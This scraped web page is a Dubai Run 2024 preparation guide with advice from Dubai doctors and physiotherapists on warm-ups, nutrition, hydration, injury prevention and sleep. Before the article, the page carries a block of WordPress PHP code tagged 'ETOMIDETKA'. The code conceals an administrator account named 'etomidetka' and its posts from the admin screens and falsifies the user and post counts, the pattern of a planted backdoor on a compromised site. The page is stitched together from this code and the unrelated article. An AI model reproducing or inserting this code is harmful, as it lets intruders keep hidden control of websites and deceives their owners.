//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Dubai Run 2024: Your Guide to Preparing for the Big Day on Sheikh Zayed Road
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Dubai Run 2024: Your Guide to Preparing for the Big Day on Sheikh Zayed Road

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Dubai Run 2024: Your Guide to Preparing for the Big Day on Sheikh Zayed Road

Dubai Run 2024. Are you gearing up to join thousands of residents for the iconic Dubai Run 2024 on Sheikh Zayed Road this November 24? This event, known as a city-wide celebration of fitness, marks the grand finale of the month-long Dubai Fitness Challenge. Participants can expect an exhilarating experience as they run alongside a diverse community of fitness enthusiasts.

With options for a 5km run suited for beginners and families, or a more challenging 10km route for seasoned runners, there’s something for everyone. Whether you’re aiming to set a personal best or just enjoy the excitement, proper preparation is key. Here are five essential tips to ensure you’re ready for Dubai Run 2024.

Master the Perfect Warm-Up Routine

A proper warm-up is crucial for peak performance and injury prevention. On the day of the Dubai Run, begin with dynamic stretches such as leg swings and circles to increase blood flow. Experts recommend light jogging or walking for 5-10 minutes.

“Start with stretching exercises and move on to leg and arm routines just before the run to let blood flow into the legs,” advises Dr. Chidananda P. Shivashankar, a specialist orthopedic surgeon at Zulekha Hospital, Dubai. This is echoed by Laiba Ashfaq, a physiotherapist at Aman Lil Afia Clinic Dubai, who stresses the importance of listening to your body.

Dr. Mohamed Naguib Al-Shawarby, with an MSC in physiotherapy from Cairo University, adds that a fast-paced walk equivalent to 20% of aerobic capacity can be a great warm-up boost.

Fuel Your Training with the Right Nutrition

Nutrition plays a vital role in your preparation for the Dubai Run 2024. According to Dr. Chidananda, a protein-rich diet is essential for muscle building, while calcium and potassium support muscle function and reduce the risk of cramps.

“On the day of the run, opt for a light, energy-rich meal like a protein bar or an omelette with orange juice,” he suggests. Ashfaq recommends consuming a meal 2-3 hours before the run or having a snack like a banana or granola bar. Dr. Mohanad Qahwash, consultant orthopedic trauma surgeon at the Canadian Specialist Hospital, Dubai, also advises against eating meals too close to the run—stick to light snacks an hour and a half to two hours before.

Hydration Strategies for Optimal Performance

Staying hydrated is essential, but overhydration should be avoided on the day of the Dubai Run. Dr. Chidananda recommends drinking small amounts of water at regular intervals during the run, ideally every 5-10 minutes.

Dr. Mohamed points out that if you choose to drink juices, they should be well-blended and free from fruit pieces to ensure quick absorption.

Injury Prevention Tips

Avoiding injuries is paramount to enjoying the Dubai Run 2024. Dr. Mohanad suggests gradually increasing your training distance to avoid sudden strain. Listening to your body is crucial—don’t ignore any signs of pain.

Proper footwear is essential, says Ashfaq, emphasizing the importance of rest periods, balanced nutrition, hydration, and quality sleep. Dr. Chidananda adds that pacing yourself at a steady, calm tempo helps conserve energy and minimizes injury risks.

Dr. Mohamed recommends stretching exercises targeting lower limb muscles, such as the calves, hamstrings, and quadriceps. “Massaging the muscles with a suitable massage cream improves circulation and reduces the risk of strains,” he advises.

Essential Pre-Run Preparation

A restful night is as important as training. Dr. Chidananda underscores the importance of eight hours of sleep the night before, while Dr. Mohanad advises relaxation and a solid 7-8 hours of sleep. “Warm up properly to stay comfortable in the cool weather, as it may be slightly chilly on the day of the run,” he adds.

Conclusion

Participating in Dubai Run 2024 is not just about fitness; it a celebration of community, health, and resilience. With the right preparation, you can ensure a safe, enjoyable, and memorable experience as you run through one of the most iconic roads in Dubai. Follow these expert tips, listen to your body, and take in the incredible atmosphere of this city-wide event.

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